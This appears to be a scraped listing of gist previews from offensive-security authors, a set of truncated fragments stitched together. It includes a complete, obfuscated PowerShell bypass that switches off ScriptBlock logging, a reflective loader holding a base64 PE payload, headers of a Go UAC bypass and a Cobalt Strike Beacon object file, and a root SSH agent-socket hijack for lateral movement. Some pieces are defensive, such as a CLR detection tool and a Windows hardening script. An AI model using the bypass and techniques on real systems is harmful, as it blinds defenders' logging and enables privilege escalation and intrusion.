| # ScriptBlock Logging Bypass | |
| # @cobbr_io | |
| $GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static') | |
| If ($GroupPolicyField) { | |
| $GroupPolicyCache = $GroupPolicyField.GetValue($null) | |
| If ($GroupPolicyCache['ScriptB'+'lockLogging']) { | |
| $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0 | |
| $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 | |
| } |
| # | |
| # TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__! | |
| # | |
| # Note this version requires Apache 2.4+ | |
| # | |
| # Save this file into something like /etc/apache2/redirect.rules. | |
| # Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom | |
| # | |
| # Include /etc/apache2/redirect.rules | |
| # |
| function Get-ClrReflection | |
| { | |
| <# | |
| .SYNOPSIS | |
| Detects memory-only CLR (.NET) modules | |
| Author: Joe Desimone (@dez_) | |
| License: BSD 3-Clause | |
| :: Windows 10 Hardening Script | |
| :: This is based mostly on my own personal research and testing. My objective is to secure/harden Windows 10 as much as possible while not impacting usability at all. (Think being able to run on this computer's of family members so secure them but not increase the chances of them having to call you to troubleshoot something related to it later on). References for virtually all settings can be found at the bottom. Just before the references section, you will always find several security settings commented out as they could lead to compatibility issues in common consumer setups but they're worth considering. | |
| :: Obligatory 'views are my own'. :) | |
| :: Thank you @jaredhaight for the Win Firewall config recommendations! | |
| :: Thank you @ricardojba for the DLL Safe Order Search reg key! | |
| :: Thank you @jessicaknotts for the help on testing Exploit Guard configs and checking privacy settings! | |
| :: Best script I've found for Debloating Windows 10: https://github.com/Sycnex/Windows10Debloater | |
| : |
| $Domain = [AppDomain]::CurrentDomain | |
| $DynAssembly = New-Object System.Reflection.AssemblyName('TempAssembly') | |
| $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) | |
| $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('TempModule') | |
| # Create a stub module that the in-memory module (i.e. this mimics the loading of a netmodule at runtime) will be loaded into. | |
| $ModuleBuilder2 = $AssemblyBuilder.DefineDynamicModule('hello.dll') | |
| $TypeBuilder = $ModuleBuilder.DefineType('TempClass', [Reflection.TypeAttributes]::Public) | |
| $TypeBuilder.CreateType() | |
| $HelloDllBytes = [Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJNPvloAAAAAAAAAAOAAAiELAQsAAAQAAAAGAAAAAAAAPiMAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAOQiAABXAAAAAEAAAJgCAAAAAAAAAAAAAAAAAAA |
| # Find Autoelevate executables | |
| Write-Host "System32 Autoelevate Executables" -ForegroundColor Green -BackgroundColor Black | |
| Select-String -Path C:\Windows\System32\*.exe -pattern "<AutoElevate>true" | |
| Write-Host "`nSysWOW64 Autoelevate Executables" -ForegroundColor Green -BackgroundColor Black | |
| Select-String -Path C:\Windows\SysWOW64\*.exe -pattern "<AutoElevate>true" |
| package main | |
| import ( | |
| "fmt" | |
| "log" | |
| "os/exec" | |
| "syscall" | |
| "time" | |
| "unsafe" | |
| ) |
| // UAC bypass ported from https://github.com/bytecode77/slui-file-handler-hijack-privilege-escalation/blob/master/SluiFileHandlerHijackLPE/SluiFileHandlerHijackLPE.cpp | |
| package main | |
| import ( | |
| "syscall" | |
| "time" | |
| "unsafe" | |
| "golang.org/x/sys/windows/registry" | |
| ) |
| #include <string.h> | |
| #include <stdio.h> | |
| #include <windows.h> | |
| #include <psapi.h> | |
| #include "beacon.h" | |
| DECLSPEC_IMPORT BOOL WINAPI KERNEL32$K32EnumProcesses(DWORD *, DWORD, LPDWORD); | |
| DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD); | |
| DECLSPEC_IMPORT BOOL WINAPI KERNEL32$K32EnumProcessModulesEx(HANDLE, HMODULE*, DWORD, LPDWORD, DWORD); |
Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.
root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460
root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh [email protected]
user@internal:~$ hostname -f
internal.company.tld